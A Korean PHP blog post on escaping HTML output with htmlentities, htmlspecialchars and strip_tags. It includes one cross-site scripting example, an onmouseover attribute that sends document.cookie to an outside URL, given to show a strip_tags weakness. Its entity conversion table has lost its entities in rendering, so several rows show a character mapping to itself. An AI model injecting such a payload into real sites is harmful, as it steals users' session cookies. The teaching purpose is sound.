HTML Tag escape

```php

htmlentities( string $string, ENT_QUOTES, 'UTF-8');
```

``php htmlentities()``는 HTML Character Entity에 존재하는 모든 문자를 엔티티로 변환하기 때문에 의도하지 않은 문자까지 이스케이프 될 수 있다.( e.g., `` ! → !`` )

그래서 사이트에서 EUC-KR을 사용하는 경우 ``php htmlentities()``를 사용하면 글자가 깨지기 때문에 ``php htmlspecialchars()``를 사용해야 하지만

UTF-8 인코딩을 사용하는 경우 글자가 깨지지 않기 때문에 ``php htmlentities()``의 세번째 인자를 `` UTF-8``로 지정해서 사용하는 편이 더 안전하다.


* ``php $flag``(quote style)에는 ENT_QUOTES를, ``php $encoding``(charset)에는 Content-Type 헤더에 있는 charset을 지정해 사용하는 편이 좋다.

변환되는 문자 목록. htmlspecialchars()의 경우 아래 목록에 있는 것만 변환한다.
단, 작은 따옴표는 ``ENT_QUOTES``옵션을 주어야 변환된다. 기본 옵션은 ``ENT_COMPAT``으로 큰 따옴표만 변환한다.
```php
&   ▶  &
"   ▶  "
'   ▶  '
<   ▶  &lt;
>   ▶  &gt;
```

아예 태그를 제거한다. 그러나 태그 형식이 불완전할 경우 ( ``>``가 없다거나 ) 제대로 동작하지 않을 가능성이 있다.
제거하지 않을 태그를 옵션으로 지정할 수 있다. 그러나 제거하지 않는 태그를 하나라도 지정하는 경우 이 태그의 attribute를 전혀 건드리지 않기 때문에 이를 이용한 취약점이 발생할 수 있다.
```html
<p onmouseover=\"window.location='http://umbum.tistory.com/?cookie='+document.cookie;\">
```


'Languages & Frameworks > PHP' 카테고리의 다른 글

[PHP] File Upload  (0) 2017.11.11
[PHP] File IO  (0) 2017.11.11
[PHP] SQL Escape & Bypass  (0) 2017.10.23
[PHP] mysqli, PDO / password_*  (0) 2017.06.24
[PHP] 함수, 클래스, 객체, 상속, 트레이트  (0) 2017.06.10